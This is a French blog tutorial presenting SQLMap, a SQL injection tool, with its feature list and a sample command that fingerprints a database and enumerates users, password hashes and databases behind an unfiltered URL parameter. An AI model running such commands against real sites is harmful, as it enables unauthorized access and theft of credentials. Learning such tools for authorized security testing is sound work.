SQLMap, outil d’injection SQL

SQLMap est un outil  permettant d’effectuer des requêtes SQL de manières automatisées dans le but de trouver et d’exploiter une mauvaise configuration sur votre serveur Web. Ce dernier a été développé en Python par Bernardo Damele et Miroslav Stampar sous licence GPLv2. Le choix de ce langage de programmation est intéressant car il permet à l’outil d’être utilisable sur n’importe quel système d’exploitation.

Pour rappel, les techniques d’injection SQL consistent à introduire du code additif dans une requête SQL de base.  Cela va permettre à un utilisateur malveillant de récupérer certaines données telles le nom des tables, les logins, les mots de passe ou encore pire, de prendre le contrôle du système.

Voici quelques caractéristiques de l’outil :

  • Support de MySQL, Oracle, PostgreSQL et Microsoft SQL Server. Outre ces quatre systèmes de gestion de base de données (SGBD), SqlMap permet également d’identifier Microsoft Access, DB2, Informix, Sybase et Interbase.
  • Support pour énumérer les utilisateurs, les mots de passe, les privilèges, les tables, les colonnes, etc.
  • Prise en charge de plusieurs techniques d’injection SQL : en aveugle, UNION, etc.
  • Prise d’empreinte de serveurs Web
  • Intégration avec d’autres projets tels que w3af et Metasploit
  • Support des méthodes d’authentification : HTTP Basic, NTLM et par certificat
  • etc.

Pour en avoir la liste complète, veuillez vous rendre sur la documentation officielle :

http://sqlmap.sourceforge.net/features.html

Téléchargement

Utilisation

Prenons l’exemple d’une page Web ayant une variable ‘num’ non contrôlée :

http://www.lestutosdenico.com/pages.php?num=1

Nous souhaitons lancer une recherche de failles de type injection SQL au moyen de SQLMap :

Linux : python sqlmap.py -u http://www.lestutosdenico.com/pages.php?num=1 -f -b --current-user --current-db --users --passwords -dbs -v 0
Windows : sqlmap.exe -u http://www.lestutosdenico.com/pages.php?num=1 -f -b --current-user --current-db --users --passwords -dbs -v 0

Options utilisées

-u : adresse de la cible
-f : prise d’empreinte du SGBD
-b : bannière du SGBD
–current-user : session utilisateur
–current-db : Base
–users : énumération des utilisateurs dans la Base
–passwords : énumération des mots de passe dans la Base
–dbs : listing des différentes bases disponibles
-v : verbosité (0, warning, etc.)

Cas réel

Pour avoir la liste de toutes les options disponibles, entrez la commande suivante :

Linux : python sqlmap.py -h
Windows : sqlmap.exe -h

Je vous réfère au manuel ainsi qu’aux vidéos officielles si vous souhaitez approfondir l’utilisation de l’outil :

http://sqlmap.sourceforge.net/doc/README.html
http://sqlmap.sourceforge.net/demo.html

« Test it, Scan it, Inject It, Re-Test It, Use It, Correct It – SQLogic, SQLogic »

7 Responses to "SQLMap, outil d’injection SQL"

Laissez un commentaire